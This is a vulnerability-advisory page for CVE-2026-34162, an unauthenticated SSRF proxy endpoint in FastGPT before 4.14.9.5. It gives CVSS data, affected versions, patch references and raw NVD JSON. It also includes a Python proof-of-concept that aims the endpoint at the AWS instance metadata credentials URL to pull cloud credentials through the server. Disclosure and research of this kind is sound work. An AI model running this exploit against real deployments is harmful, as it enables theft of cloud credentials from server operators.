Security Vulnerability Report
δΈ­ζ–‡
CVE-2026-34162 CVSS 10.0 CRITICAL

CVE-2026-34162

Published: 2026-03-31 15:16:17
Last Modified: 2026-04-01 18:38:40

Description

FastGPT is an AI Agent building platform. Prior to version 4.14.9.5, the FastGPT HTTP tools testing endpoint (/api/core/app/httpTools/runTool) is exposed without any authentication. This endpoint acts as a full HTTP proxy β€” it accepts a user-supplied baseUrl, toolPath, HTTP method, custom headers, and body, then makes a server-side HTTP request and returns the complete response to the caller. This issue has been patched in version 4.14.9.5.

CVSS Details

CVSS Score
10.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:fastgpt:fastgpt:*:*:*:*:*:*:*:* - VULNERABLE
FastGPT < 4.14.9.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json target_url = "http://fastgpt-server-url" # Replace with actual target exploit_endpoint = "/api/core/app/httpTools/runTool" # SSRF Payload: Trying to access internal metadata service (AWS Example) ssrf_target = "http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance" payload = { "appId": "test", # May need a valid appId depending on implementation, but description says no auth "baseUrl": ssrf_target, "toolPath": "", "method": "GET", "headers": {}, "params": {}, "body": {} } try: response = requests.post(f"{target_url}{exploit_endpoint}", json=payload, timeout=10) print(f"Status Code: {response.status_code}") print("Response Headers:", response.headers) print("Response Body:", response.text) except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34162", "sourceIdentifier": "[email protected]", "published": "2026-03-31T15:16:16.960", "lastModified": "2026-04-01T18:38:39.890", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FastGPT is an AI Agent building platform. Prior to version 4.14.9.5, the FastGPT HTTP tools testing endpoint (/api/core/app/httpTools/runTool) is exposed without any authentication. This endpoint acts as a full HTTP proxy β€” it accepts a user-supplied baseUrl, toolPath, HTTP method, custom headers, and body, then makes a server-side HTTP request and returns the complete response to the caller. This issue has been patched in version 4.14.9.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}, {"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fastgpt:fastgpt:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.14.9.5", "matchCriteriaId": "DE20269A-5497-4727-B3DD-3EDC1E1F234E"}]}]}], "references": [{"url": "https://github.com/labring/FastGPT/commit/bc7eae2ed61481a5e322208829be291faec58c00", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/labring/FastGPT/pull/6640", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/labring/FastGPT/releases/tag/v4.14.9.5", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/labring/FastGPT/security/advisories/GHSA-w36r-f268-pwrj", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/labring/FastGPT/security/advisories/GHSA-w36r-f268-pwrj", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}